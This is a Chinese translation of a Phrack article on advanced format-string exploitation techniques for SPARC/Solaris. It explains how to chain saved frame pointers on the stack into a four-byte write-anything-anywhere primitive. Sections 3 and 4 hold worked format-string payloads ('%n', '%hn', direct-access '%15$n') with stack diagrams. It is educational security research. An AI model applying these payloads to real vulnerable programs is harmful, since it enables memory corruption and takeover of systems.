高级format string exploit技术P59-0x07(下)

/ns/hk/crack/data/20020824051615.htm




高级format string exploit技术P59-0x07(下)


原文: <<Advances in format string exploiting>>
by gera <gera@corest.com>, riq <riq@corest.com>
翻译 yikaikai<yikaikai@sina.com> http://www.whitecell.org
--[目录

1 - 简介
2 - 堆
3 -小技巧
3.1 - 例1
3.2 - 例2
3.3 - 例3
3.4 - 例4
4 - 4字节write-anything-anywhere权限的滥用
4.1 - 例5
5 - 结论
5.1 - 覆盖栈帧寄存器local 0是否危险?
5.2 - 这种方法可靠吗?
5.3 - 在i386平台能否运行?

6 - 后记
6.1 - 参考资料
6.2 - 致谢


--[ 1 - 简介

通常的format string位于栈内, 但有位于堆的情况, 你是看不到的.
scut 在他的文章里谈到了这些"格式化字符串溢出攻击 section6.4
http://www.team-teso.net/articles/formatstring/

这里我介绍一个在SPARC(big-endian machines)上处理这种字符串的一般方法,
在i386上也是相似的


--[ 2 - 堆

在栈里你可以发现栈的帧结构. 栈的结构包括局部变量, 寄存器,指向前一个栈结构的
指针, 返回地址等.

既然用格式化字符串可以看到这些, 我们要仔细研究一下.
基于SPARC的栈结构大概如下.

说明一下, SPARC包含4组通用寄存器,每组包含8个寄存器。其中一组是全局(global)寄存器,
另外三组寄存器是out,local,in.
frame 0 frame 1 frame 2
[ l0 ] +----> [ l0 ] +----> [ l0 ]
[ l1 ] | [ l1 ] | [ l1 ]
... | ... | ...
[ l7 ] | [ l7 ] | [ l7 ]
[ i0 ] | [ i0 ] | [ i0 ]
[ i1 ] | [ i1 ] | [ i1 ]
... | ... | ...
[ i5 ] | [ i5 ] | [ i5 ]
[ fp ] ----+ [ fp ] ----+ [ fp ]
[ i7 ] [ i7 ] [ i7 ]
[ temp 1] [ temp 1]
[ temp 2]

等等

寄存器fp 是指向调用帧的指针, 你可以猜得出, 'fp' 代表帧指针.
temp_N 是保存在栈中的局部变量, 帧1从帧0的局部变量结束地方开始,
帧2从帧1的局部变量结束地方开始, 如此类推.
所有的帧保存在栈中, 所以我们可以用我们的格式化字符串看到这些

--[ 3 - 小敲门

敲门在于每个栈帧都有一个指针指向前一个栈帧, 我们得到指向栈的地址越多,
就越有可能成功.
为什么呢?如果我们有一个属于自己堆栈的指针, 我们可以覆盖指向任何值的地址

--[ 3.1 - 例1

假设我们想将0x1234放入帧1的寄存器local 0内, 我们要做的是试着建立一个
格式化字符串, 长度刚好到达帧0 fp的位置, 即0x1234, 在那个位置我们用格式化字符串
放入字符'%n'.
假设第一个参数是在帧0的局部变量0中, 我们的格式化字符串如下( 用 python描述)
'%8x' * 8 + # 弹出8个local寄存器
'%8x' * 5 + # 弹出前5个寄存器in
'%4640d' + # 改变string的长度 (4640 is 0x1220) and...
'%n' # 在fp指向的位置写入(which is frame 1's l0)

当格式化字符串执行后, 栈看起来是这样的:
frame 0 frame 1
[ l0 ] +----> [ 0x00001234 ]
[ l1 ] | [ l1 ]
... | ...
[ l7 ] | [ l7 ]
[ i0 ] | [ i0 ]
[ i1 ] | [ i1 ]
... | ...
[ i5 ] | [ i5 ]
[ fp ] ----+ [ fp ]
[ i7 ] [ i7 ]
[ temp 1] [ temp 1]
[ temp 2]


--[ 3.2 - 例2

如果我们要写大点的数字, 像0x20001234, 我们应该在栈中寻找两个指向同一地址的
指针, 看起来如下
frame 0 frame 1
[ l0 ] +----> [ l0 ]
[ l1 ] | [ l1 ]
... | ...
[ l7 ] | [ l7 ]
[ i0 ] | [ i0 ]
[ i1 ] | [ i1 ]
... | ...
[ i5 ] | [ i5 ]
[ fp ] ----+ [ fp ]
[ i7 ] | [ i7 ]
[ temp 1] ----+ [ temp 1]
[ temp 2]


[ 注意: 不一定要去找两个指向同一地址的指针, 虽然不是少见]
所以, 我们的格式化字符串看起来如下

'%8x' * 8 + # 弹出8个local寄存器
'%8x' * 5 + # 弹出前5个寄存器in
'%4640d' + # 改变format string长度 (4640=0x1220)
'%n' # 在fp指向的位置写入(which is frame 1's l0)
'%3530d' + # 再次改变format string 长度
'%hn' # 这次改变高位部分!

我们将会得到:
frame 0 frame 1
[ l0 ] +----> [ 0x20001234 ]
[ l1 ] | [ l1 ]
... | ...
[ l7 ] | [ l7 ]
[ i0 ] | [ i0 ]
[ i1 ] | [ i1 ]
... | ...
[ i5 ] | [ i5 ]
[ fp ] ----+ [ fp ]
[ i7 ] | [ i7 ]
[ temp 1] ----+ [ temp 1]
[ temp 2]


--[ 3.3 - example 3

这个例子中我们只有一个指针, 在格式化字符串中我们用直接存取可以得到同样
的结果, 用'%arg_number$', arg_number位于0-30(Solaris).

我的format string 如下
'%4640d' + # 改变长度
'%15$n' + # 写第15个参数的地方(第15个参数是fp位置!)
'%3530d' + # 再次改变长度
'%15$hn' # 再次写入(高位部分)!

因此, 我们将会得到如下结果

frame 0 frame 1
[ l0 ] +----> [ 0x20001234 ]
[ l1 ] | [ l1 ]
... | ...
[ l7 ] | [ l7 ]
[ i0 ] | [ i0 ]
[ i1 ] | [ i1 ]
... | ...
[ i5 ] | [ i5 ]
[ fp ] ----+ [ fp ]
[ i7 ] [ i7 ]
[ temp 1] [ temp 1]
[ temp 2]

--[ 3.4 - 例4

但是两个指针在栈中不指向同一地址的情况是常发生的, 指向栈中的第一个地址
常常超出前30个参数的范围, 那么该怎么做呢?
要知道用简单的'%n', 你可以写非常大的数字, 像0x0028000或者更大, 你应当知道
二进制的动态连接库通常位于低位地址, 像0x0002???. 所以, 只用一个指针指向栈,
你可以得到指向二进制PLT的指针.

我想这里就不再需要用图表示了

--[ 4 - 4字节write-anything-anywhere权限的滥用

--[ 4.1 -例5

为了得到4write-anything-anywhere的权限, 我们应该重复一下栈帧寄存器local 0作了些什么,
在另一个重做一次, 比如帧1,结果看起来如下:
frame 0 frame 1 frame 2
[ l0 ] +----> [0x00029e8c] +----> [0x00029e8e]
[ l1 ] | [ l1 ] | [ l1 ]
... | ... | ...
[ l7 ] | [ l7 ] | [ l7 ]
[ i0 ] | [ i0 ] | [ i0 ]
[ i1 ] | [ i1 ] | [ i1 ]
... | ... | ...
[ i5 ] | [ i5 ] | [ i5 ]
[ fp ] ----+ [ fp ] ----+ [ fp ]
[ i7 ] [ i7 ] | [ i7 ]
[ temp 1] [ temp 1] |
[ temp 2] ----+
[ temp 3]
[注意: 只要我们想改变的的代码在0x00029e8c之内]

现在, 我们有了两个指针, 一个指向 0x00029e8c 另一个指向0x00029e8e, 我们终于
达到了自己想要的目的, 现在我们可以攻击这个位置就像攻击其他的format string.

这个format string看起来如下:
'%4640d' + # 改变长度
'%15$n' + # 用直接存取的方法写入帧1 寄存器local 0的低位部分
'%3530d' + # 再次改变长度
'%15$hn' + # 覆盖高位部分
'%9876d' + # 改变长度
'%18$hn' + # And write like any format string exploit!


'%8x' * 13+ # 弹出13个参数( 从15个参数中)
'%6789d' + # 改变长度
'%n' + # 写低位部分
'%8x' + # 弹出
'%1122d' + # 改变长度
'%hn' + # 写高位部分
'%2211d' + # 改变长度
'%hn' # 再次改写, 就像任何的exploit一样

你可以看得出, 这只是由一个format string完成的, 但不总是这样,
如果我们不能创建两个指针, 我们能做的,就是滥用两次format string.

首先, 创建一个指向0x00029e8c的指针, 然后, 我们用'%hn'覆盖0x00029e8c指
向的指针.
然后, 我们在滥用一次format string, 就像上次那样, 只是用指向0x00029e8c
的指针.


--[5] 结论
--[ 5.1 - 覆盖栈帧寄存器local 0是否危险?

这不是最好的, 但实践表明改变local 0的值没有任何问题, 有时候你也许不幸, 你宁愿更改
属于main()或 _start()帧的local 0

--[ 5.2 - 这种方法可靠吗?

如果你了解栈的情况, 或者知道栈帧的大小, 那就是可靠的, 否则这种技术帮不了
你多少.

我想当你不得不覆盖值为零的地址时, 这也许是你最后的选择, 因为你不能将0放入format
string(将会截断string)

同样的, 二进制的过程联接表(PLT) 位于低位地址, 覆盖二进制的PLT比libc'sPLT更可靠,
为什么呢?我想Solaris下联接库的改变比你想exploit的binary更频繁. 也许, 你想exploit的
二进制代码将永远不会改变

--[ 5.3 - 在i386平台能否运行?

是的, 或许可以, 我想你可能会遇到'%n'和'%hn'的问题,
(i386 是 little-endian), 但我相信其他的在386上是能正常运行的
--[ 6 - 后记

--[ 6.1 - references

Very complete format strings article by scut:
* http://www.team-teso.net/articles/formatstring/


--[ 6.2 - thanks to:

Juliano, for letting me know that I can overwrite, as may times as I
want an address using 'direct access', and other tips about format strings.

Gera, for his ideas, suggestions and fixes.

Javier, for helping me in SPARC.

Bombi, for trying her best to correct my English.

and Bruce, for correcting my English, too.

riq.

|=[ EOF ]=---------------------------------------------------------------=|

[ 感谢alert7, 大鹰在翻译时对我的支持, 特别是alert7在我翻译初稿里提出许多问题,
并给了一些参考资料 << Solaris for SPARC 堆栈溢出程序编写(1)>> warning3 (warning3@hotmail.com) ]